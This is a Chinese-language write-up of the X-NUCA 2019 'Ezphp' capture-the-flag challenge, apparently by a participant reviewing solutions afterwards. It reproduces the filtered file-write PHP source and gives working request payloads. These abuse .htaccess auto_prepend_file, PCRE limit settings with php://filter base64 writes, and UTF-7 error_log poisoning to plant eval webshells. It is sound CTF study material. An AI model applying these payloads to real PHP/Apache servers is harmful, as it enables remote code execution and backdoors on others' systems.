0%

X-NUCA‘2019 ——Ezphp复盘总结

emmm….这次比赛题目质量太高所以我这种菜鸡基本没有做出来的题目,但是思路大体正确,但是关键点没有想出来。

题目

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?> 

复盘检讨

其实这题已经想到了使用.htaccess文件去包含php代码但是么有想到怎么绕过stristr()。下面记录一下大佬们的wirte up 所用方法并复现学习一波。

  • 题目对解析的文件做了限制,只解析index.php,所以做这道题的思路第一反应也是使用.user.ini或者.hatccess去将PHP代码去包含金index.php

方法一 “\“绕过stristr()检测

  • 我们从代码的最后一行可见最后会强行拼接进来一个"\nJust one chance"导致.hatccess无法解析500错误。所以使用反斜杠可以将\n转义为普通字符后使用#注释使得.hatccess能够成功解析。

  • 绕过stristr()检测同样使用“\“作为换行直接绕过该函数的关键字检测。

  • .hatccess包含进所以php文件。

php_value auto_prepend_file .htaccess
  • 综上构造payload:
php_value auto_prepend_fil\ 
e .htaccess 
#<?php phpinfo();?>\ 

img

?content=php_value auto_prepend_fil\%0Ae .htaccess%0A%23<?php system('cat /fla'.'g');?>\&filename=.htaccess

img

方法二利用PCRE回溯次数限制绕过正则

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
  • 使用php://filter/write=conver.base64-decode=.htaccess写入base64加密的后门,将.htaccess包含入php
?filename=php://filter/write=convert.base64- 
decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcm 
Uuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiNhPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c 
  • 该方法在我自己搭的环境中并未复现成功。

利用error_log生成shell

  • error_lo可以将php的错误信息写在指定目录下
  • 利用include_path包含UTF-7编码后的一句话
  • 利用包含文件不存在导致报错在/tmp下生成fl3g.php
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
  • 生成后再写入如下.htaccess,将include目录更改为tmp和解码UTF-7(上一篇SUCTF博客有提到)
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

img

(注意写入content使用url编码后传入)